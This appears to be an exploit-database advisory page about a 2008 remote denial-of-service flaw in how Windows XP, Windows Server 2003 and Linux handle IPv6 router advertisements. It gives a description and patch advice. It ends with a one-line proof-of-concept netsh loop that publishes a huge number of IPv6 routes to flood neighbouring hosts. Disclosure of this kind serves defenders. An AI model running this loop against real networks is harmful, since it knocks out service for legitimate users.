Multiple operating systems are prone to remote denial-of-service vulnerabilities

vendor:

Windows XP, Windows Server 2003, Linux

by:

SecurityFocus

7.8

CVSS

HIGH

Remote Denial-of-Service Vulnerability

400

CWE

Product Name: Windows XP, Windows Server 2003, Linux

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: Yes

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

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Nuclei References: N/A

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Platforms Tested: Windows, Linux

2008

Multiple operating systems are prone to remote denial-of-service vulnerabilities

Multiple operating systems are prone to remote denial-of-service vulnerabilities that occur when affected operating systems are acting as IPv6 routers. Successful exploits allow remote attackers to cause computers to consume excessive CPU resources or to stop responding to advertised routes in a network. This will potentially deny further network services to legitimate users.

Mitigation:

Administrators should ensure that all systems are running the latest version of their operating system and that all security patches are applied.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/29190/info

Multiple operating systems are prone to remote denial-of-service vulnerabilities that occur when affected operating systems are acting as IPv6 routers.

Successful exploits allow remote attackers to cause computers to consume excessive CPU resources or to stop responding to advertised routes in a network. This will potentially deny further network services to legitimate users.

Microsoft Windows XP, Microsoft Windows Server 2003, and Linux are prone to these issues. Other operating systems may also be affected.

for /L %k in (0, 1, 9999) DO for /L %i in (0, 1, 9999) DO netsh interface ipv6 add route 2001:db8:%k:%i::/64 "Local Area Connection" publish=yes